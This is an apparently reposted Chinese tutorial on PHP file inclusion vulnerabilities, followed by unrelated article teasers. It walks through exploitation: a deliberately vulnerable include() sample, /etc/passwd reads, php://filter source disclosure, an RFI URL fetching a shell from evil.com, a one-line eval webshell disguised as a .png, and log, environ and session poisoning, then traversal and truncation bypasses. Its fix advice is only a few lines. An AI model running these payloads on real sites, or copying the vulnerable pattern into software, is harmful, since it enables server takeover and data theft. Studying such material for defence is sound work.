【网络安全】文件包含漏洞总结

news2024/11/26 21:24:53

目录:

  1. 介绍
  2. 文件包含漏洞分类
    1. LFI
    2. RFI
  3. PHP 的文件包含函数
  4. 漏洞示例代码
  5. 利用任意文件读取
    1. 使用 PHP 封装协议
      1. php://filter
      2. php://input
    2. RFI getshell
    3. LFI+文件上传 getshell
    4. LFI+日志文件 getshell
    5. LFI+/proc/self/environgetshell
    6. LFI+phpinfo getshell
    7. LFI+session getshell
  6. 绕过指定前缀
    1. 指定后缀
  7. 修复建议

介绍

文件包含漏洞属于代码注入漏洞,为了减少重复代码的编写,引入了文件包含函数,通过文件包含函数将文件包含进来,直接使用包含文件的代码;简单来说就是一个文件里面包含另外一个或多个文件。

但我们除了包含常规的代码文件外,包含的任意后缀文件都会被当作代码执行,因此,如果有允许用户控制包含文件路径的点,那么则很有可能包含非预期文件,从而执行非预期的代码导致 getshell。

几乎所有的脚本语言中都会提供文件包含的功能,但文件包含漏洞在 PHP Web Application 中居多,在 JSP、ASP 中十分少甚至没有,问题在于语言设计的弊端。因此后续均以 PHP 为主。

文件包含漏洞分类

PHP 中的文件包含分为本地文件包含远程文件包含

LFI

本地文件包含 Local File Include (LFI)

所包含文件内容符合 PHP 语法规范,任何扩展名都可以被 PHP 解析。

所包含文件内容不符合 PHP 语法规范,会暴露其源代码(相当于文件读取)。

RFI

远程文件包含 Remote File Include (RFI)

如果要使用远程包含功能,首先需要确定 PHP 是否已经开启远程包含功能选项(php 默认关闭远程包含功能:allow_url_include=off),开启远程包含功能需要在 php.ini 配置文件中修改。

远程包含与本地包含没有区别,无非是支持远程加载,更容易 getshell,无论是哪种扩展名,只要遵循 PHP 语法规范,PHP 解析器就会对其解析。

PHP 的文件包含函数

PHP 中提供了四个文件包含的函数,分别是 include()、include_once()、require()和 require_once()。这四个函数都可以进行文件包含,但作用并不一样。

  • include:找不到被包含的文件时只会产生警告,脚本将继续执行。

  • include_once:和 include()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

  • require:找不到被包含的文件时会产生致命错误,并停止脚本。

  • require_once:和 require()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

漏洞示例代码

****<?php****// index.php$file = $_GET[ 'file' ];****include****$file****?>****

快速启动一个简单的解析 php 的 web server

php -S 127.0.0.1:9999

测试:

http://127.0.0.1:9999/index.php?file=/etc/passwd

【一>所有资源获取<一】1、网络安全学习路线 2、电子书籍(白帽子)3、安全大厂内部视频 4、100 份 src 文档 5、常见安全面试题 6、ctf 大赛经典题目解析 7、全套工具包 8、应急响应笔记

利用任意文件读取

如果内容不符合 php 语法,就会直接返回文件内容,也就等于读取任意文件,和任意文件读取/下载一样,就不细说了

使用 PHP 封装协议

PHP 带有很多内置 URL 风格的封装协议

php://filter

正常情况下,包含 php 文件会直接执行其中的代码,但如果我们想获取到 php 文件的源码,如 config.php,那么我们可以通过封装协议php://filter来读取

http://127.0.0.1:9999/index.php?file=php://filter/read=convert.base64-encode/resource=shell.png

php://input

**利用条件:**需要开启 allow_url_include=on,对 allow_url_fopen 不做要求

RFI getshell

如果支持远程文件包含,那么直接http://127.0.0.1:9999/index.php?file=http://evil.com/shell.php即可 getshell,因为出现的情况实在是太少了,就不多说了。

LFI+文件上传 getshell

这是本地文件包含漏洞想要 getshell 的最容易想到的方法之一。

网站存在 LFI 漏洞,同时存在上传功能,如上传头像、证明信息等,那么我们可以上传一个包含恶意代码的任意后缀文件,如.png

其中.png 的内容包含

<?php @eval($_GET['shell']);?>

利用如下:

http://127.0.0.1:9999/index.php?file=shell.png&shell=phpinfo();

[!tip]

可能上传的文件中干扰因素过多,导致利用的展示界面很乱,那么我们可以通过 file_put_contents()等函数单独再写一个 webshell 到其他文件中。

LFI+日志文件 getshell

日志文件往往会包含我们的请求记录,如果我们知道日志的文件位置,那么我们就可以将恶意的 php 代码写入到日志中,然后再通过文件包含漏洞就可以执行相关的代码。

举例:

URL 访问

http://127.0.0.1:9999/index.php?file=shell.png&test=<?php @eval($_GET['shell']);?>

payload 会被记录到日志文件中,此时日志文件如下

我们只需要包含这个日志文件,那么就可以 getshell

日志默认路径:

可能会有所出入,一切以实际情况为准

LFI+/proc/self/environgetshell

在 linux 中,如果 php 以 cgi 方式运行,那么/proc/self/environ 中会包含请求头中的 UA 信息,也就可以 getshell

GET lfi.php?file=../../../../../../proc/self/environ HTTP/1.1User-Agent: <?php phpinfo();?>

LFI+phpinfo getshell

除了需要存在一个 LFI 漏洞外,还需要存在一个 phpinfo()页面

原理:向 phpinfo()页面 POST 上传一个文件,PHP 就会将文件保存成一个临时文件,路径通常为:/tmp/php[6 个随机字符],这个临时文件,在请求结束后就会被删除。有点类似于条件竞争的操作。

利用时需要修改工具中的参数和目标参数适配

LFI+session getshell

很鸡肋很鸡肋,要求你能控制 session 才行,一般我们可以先看下 session 中的内容哪些部分是可控的

php 的 session 文件的保存路径可以在 phpinfo 的 session.save_path 看到。

常见的 php-session 存放位置:

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSI

如果可以控制 session 的内容,那么相当于可以控制文件/var/lib/php/sessions 的内容,结合前面的操作就可以直接 getshell 了

绕过指定前缀

漏洞代码:

<?php$file = $_GET['file'];include'/var/www/html/'.$file;?>

绕过方法:

通过../回溯符跳转到其他目录,如../../../proc/self/environ

还是通过回溯符../,主要是对内容进行编码

URL 编码

2 次 URL 编码

容器/服务器支持的编码,..%c0%af== ../,..%c1%9c == ..\

指定后缀

漏洞代码:

<?php$file = $_GET['file'];include****$file.'/test/test.php';?>

绕过方法:

支持 RFI 的情况下,可以用?和 #来绕过,?后面表示参数,#后面表示锚点,都不会影响到实际的 URL

利用伪协议 zip://和 phar://,以 zip 为例,先创建一个压缩包,压缩目录为test/test/test.php,然后利用为zip://xxx.zip#test即可

php < 5.2.8 的情况下,可以使用长度截断,只需要不断的重复./即可,linux 下 4096 字节时会达到最大值,在 window 下是 256 字节,在达到最大值后,后面的部分将会被省略。如 shell.php/./././././省略/./././;注意不能超过容器支持的最大长度,不然会提示 GET 请求太长。

php < 5.3.4 且magic_quotes_gpc=off的情况下,存在 00 截断,和上传中的 00 截断类似,让后端误以为这是结束符

修复建议

过滤.(点)/(反斜杠)\(反斜杠)等特殊字符

尽量关闭allow_url_include配置

PHP 中使用 open_basedir 配置限制访问在指定的区域

对需要包含的文件设置文件白名单

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/471469.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据结构——队列的构建

在本次博客当中我们来学习一下队列的构建。首先来介绍一下队列。队列也是一种被限制的线性表。队列要求我们其中的元素只可以从队尾进入从队头出数据。也就是说我们先进入队列的数据就会先出队列。所以我们可以将我们的两种线性表改编成为我们的队列。话题又回到了我们两种线性…

算法记录 | Day44 动态规划

完全背包 有N件物品和一个最多能背重量为W的背包。第i件物品的重量是weight[i]&#xff0c;得到的价值是value[i] 。每件物品都有无限个&#xff08;也就是可以放入背包多次&#xff09;&#xff0c;求解将哪些物品装入背包里物品价值总和最大。 完全背包和01背包问题唯一不同…

【初学人工智能原理】【3】梯度下降和反向传播:能改(上)

前言 本文教程均来自b站【小白也能听懂的人工智能原理】&#xff0c;感兴趣的可自行到b站观看。 本文【原文】章节来自课程的对白&#xff0c;由于缺少图片可能无法理解&#xff0c;故放到了最后&#xff0c;建议直接看代码&#xff08;代码放到了前面&#xff09;。 代码实…

itop-3568开发板驱动学习笔记(24)设备树(三)时钟实例分析

《【北京迅为】itop-3568开发板驱动开发指南.pdf》 学习笔记 文章目录 生产者属性#clock-cells 属性clock-output-namesclock-frequencyassigned-clockclock-indicesassigned-clock-parents 消费者属性 设备树中的时钟信息以时钟树形式体现&#xff0c;时钟树包括时钟的属性和结…

C#_语言简介

目录 1. C# 简介 2. Visual Studio 窗口界面显示 1. C# 简介 什么是程序&#xff1f; 程序&#xff08;Program&#xff09;简单来说就是&#xff1a; 计算机是无法听懂我们人类的语言的&#xff0c;也可以说我们通过我们日常交流的语言是无法控制计算机的&#xff0c;计算机…

排序算法 - 快速排序

文章目录 快速排序介绍快速排序实现快速排序时间复杂度和稳定性快速排序稳定性快速排序时间复杂度 代码实现核心&总结 每日一道算法&#xff0c;提高脑力。第二天&#xff0c;快速排序。 快速排序介绍 它的基本思想是: 选择一个基准数&#xff0c;通过一趟排序将要排序的…

Spring容器技术

Spring容器技术 1. Spring核心容器介绍1.1 创建容器1.2 获取bean对象1.3 容器类层次结构1.4 BeanFactory 2. Spring核心容器总结2.1 容器相关2.2 bean相关2.3 依赖注入相关 1. Spring核心容器介绍 问题导入 问题&#xff1a;按照Bean名称获取Bean有什么弊端&#xff0c;按照B…

(七)ArcCatalog应用基础——图层操作与数据输出

&#xff08;七&#xff09;ArcCatalog应用基础——图层操作与数据输出 目录 &#xff08;七&#xff09;ArcCatalog应用基础——图层操作与数据输出 1.地图与图层操作1.1创建图层1.2设置文件特征1.3保存独立的图层文件 2.地理数据输出2.1输出为Shapefile2.2输出为Coverage2.3属…

[Spring]初始导读

1.Spring初始 1. 为什么要学框架 学习框架相当于从"小作坊"到"工厂"的升级 , 小作坊什么都要做 , 工厂是组件式装配 , 特点就是高效. 2.框架的优点展示(SpringBoot Vs Servlet) 使用SpringBoot 项目演示框架相比 Servlet 所具备的以下优点: 无需配置 …

KDZD电缆安全双枪刺扎器

一、产品背景 多年以来&#xff0c;电力电缆的维护迁移过程中的识别与刺孔&#xff0c;均按照行业标准DL409-91《电业安全工作规程&#xff08;电力线路部分&#xff09;》第234条要求&#xff0c;采用人工刺孔&#xff0c;一旦电缆识别出错&#xff0c;误刺孔带电电缆将对人身…

Win11调整分区大小的方法有哪些?

电脑磁盘分区的大小关系着我们的系统运行流畅、文件数据分门别类、磁盘空间充分利用等&#xff0c;是一个非常重要的工作。那么Win11调整分区大小的方法有哪些&#xff1f; 使用命令提示符 缩小分区 步骤1. 在搜索框中输入cmd并以管理员身份运行命令提示符。 步骤2. 依次输入…

分布式事务TCC 你真的理解了吗

TCC&#xff08;补偿事务&#xff09; TCC 属于目前比较火的一种柔性事务解决方案。TCC 这个概念最早诞生于数据库专家帕特 赫兰德&#xff08;Pat Helland&#xff09;于 2007 发表的 《Life beyond Distributed Transactions: an Apostate’s Opinion》 这篇论文&#xff0…

本地 WAF 已死,云 WAF 永生

多年来&#xff0c;Web 应用程序防火墙 (WAF) 一直是应用程序保护的代名词。事实上&#xff0c;许多应用程序安全团队认为保护其应用程序的最佳选择是一流的本地 WAF 解决方案&#xff0c;尤其是当这些应用程序部署在本地或私有云中时。 但自从引入本地 WAF 以来&#xff0c;…

授权码 + PKCE 模式|OIDC OAuth2.0 认证协议最佳实践系列【03】

​ 在上一篇文章中&#xff0c;我们介绍了 OIDC 授权码模式&#xff08;点击下方链接查看&#xff09;&#xff0c;本次我们将重点围绕 授权码 PKCE 模式&#xff08;Authorization Code With PKCE&#xff09;进行介绍 &#xff0c;从而让你的系统快速具备接入用户认证的标准…

R语言的Meta分析【全流程、不确定性分析】方法与Meta机器学习

详情点击链接&#xff1a;R语言的Meta分析【全流程、不确定性分析】方法与Meta机器学习 Meta分析的选题与文献检索 Meta分析Meta分析的选题策略文献检索数据库精确检索策略&#xff0c;如何检索全、检索准文献的管理与清洗&#xff0c;如何制定文献纳入排除标准文献数据获取技…

( 哈希表) 128. 最长连续序列 ——【Leetcode每日一题】

❓128. 最长连续序列 难度&#xff1a;中等 给定一个未排序的整数数组 nums&#xff0c;找出数字连续的最长序列&#xff08;不要求序列元素在原数组中连续&#xff09;的长度。 请你设计并实现时间复杂度为 O ( n ) O(n) O(n) 的算法解决此问题。 示例 1&#xff1a; 输入…

ai数字人无限播是什么?数字人直播带货如何搭建?操作教程及注意事项分享

随着数字技术的不断进步&#xff0c;直播行业也在不断的发展壮大。其中&#xff0c;数字人直播成为了最为热门的直播方式之一。数字人直播利用AI技术创建出的虚拟数字人进行直播&#xff0c;给观众带来了全新的视觉体验。而随着数字人直播的不断发展&#xff0c;数字人直播带货…

力扣(LeetCode)1172. 餐盘栈(C++)

优先队列 解题思路&#xff1a;根据题意模拟。用数组存储无限数量的栈。重在实现 p u s h push push 和 p o p pop pop 操作。 对于 p u s h push push 操作&#xff0c;需要知道当前从左往右第一个空栈的下标。分两类讨论&#xff1a; ①所有栈都是满的&#xff0c;那么我…

基于台风信息查询 API 设计台风预警系统的基本思路

引言 在过去的几十年中&#xff0c;由于全球气候变化等因素的影响&#xff0c;台风的强度和频率都有所增加&#xff0c;给人类社会带来了极大的威胁。在这种背景下&#xff0c;一个高效可靠的台风预警和监测系统显得尤为重要。这种系统可以通过获取、存储、处理和分析各种相关…

产业数字化爆发,松山湖开发者村打通数实融合“最后一公里”

2023年正值第四次工业革命新十年开始之际&#xff0c;也是我国数字经济量质齐升新十年的开幕。2022年&#xff0c;中国全部工业增加值突破40万亿元大关&#xff0c;占GDP比重达33.2%&#xff0c;制造业规模连续13年位居世界首位。当以工业和制造业为代表的实体产业&#xff0c;…